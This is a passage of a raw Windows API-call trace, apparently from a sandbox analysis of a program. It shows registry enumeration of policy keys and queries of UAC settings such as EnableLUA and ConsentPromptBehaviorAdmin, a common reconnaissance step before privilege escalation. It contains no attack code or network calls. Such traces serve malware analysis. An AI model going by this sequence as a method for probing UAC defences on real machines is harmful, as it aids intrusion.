phkResult=0x19f8e8*=0xa0) returned 0x0 [0175.707] RegCloseKey (hKey=0x24) returned 0x0 [0175.707] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x3ab930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x3ac120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0175.708] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x3ab930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0175.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x3ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0175.708] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x3ab930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0175.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x3ac120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0175.708] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x3ab930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0175.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x3ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0175.708] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x3ab930, cchName=0x104 | out: lpName="System") returned 0x0 [0175.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x3ac120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0175.708] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x19f8e8 | out: phkResult=0x19f8e8*=0x24) returned 0x0 [0175.708] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab930) returned 1 [0175.708] RegCloseKey (hKey=0xa0) returned 0x0 [0175.708] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab860) returned 1 [0175.708] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.709] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0175.710] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x19f900, lpData=0x0, lpcbData=0x19f908*=0x0 | out: lpType=0x19f900*=0x4, lpData=0x0, lpcbData=0x19f908*=0x4) returned 0x0 [0175.710] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x19f900, lpData=0x3ac438, lpcbData=0x19f908*=0x4 | out: lpType=0x19f900*=0x4, lpData=0x3ac438*=0x1, lpcbData=0x19f908*=0x4) returned 0x0 [0175.710] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac438) returned 1 [0175.710] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.710] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ab860 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab878 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.710] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab888 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac438 [0175.710] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab898 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac558 [0175.710] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab930 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac510 [0175.710] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0x3ab940 [0175.710] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab860) returned 1 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab860 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac4c8 [0175.710] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab968 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac480 [0175.710] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab978 [0175.710] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac3f0 [0175.710] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab988 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac3a8 [0175.711] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x30) returned 0x3ab998 [0175.711] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab940) returned 1 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab940 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac360 [0175.711] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab950 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac318 [0175.711] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab9d0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac2d0 [0175.711] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab9e0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.711] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac240 [0175.711] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab998) returned 1 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab998 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.711] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ab9a8 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1b0 [0175.711] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1e8 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac168 [0175.711] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1f8 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.711] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0175.711] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.711] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.712] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab878) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac438) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab888) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac558) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab898) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac510) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab930) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac4c8) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab860) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac480) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab968) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac3f0) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab978) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac3a8) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab988) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac360) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab940) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac318) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab950) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac2d0) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab9d0) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab9e0) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1f8) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab998) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1b0) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab9a8) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac168) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad1e8) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad1f8) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac240) returned 1 [0175.712] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac240 [0175.712] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x19f900, lpData=0x0, lpcbData=0x19f908*=0x0 | out: lpType=0x19f900*=0x4, lpData=0x0, lpcbData=0x19f908*=0x4) returned 0x0 [0175.712] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x19f900, lpData=0x3ac240, lpcbData=0x19f908*=0x4 | out: lpType=0x19f900*=0x4, lpData=0x3ac240*=0x5, lpcbData=0x19f908*=0x4) returned 0x0 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac240) returned 1 [0175.712] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.712] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1f8 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.713] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1e8 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac240 [0175.713] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad208 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.713] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad218 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac168 [0175.713] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0x3ab860 [0175.713] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad228 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1b0 [0175.713] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad238 [0175.713] RtlAllocateHeap 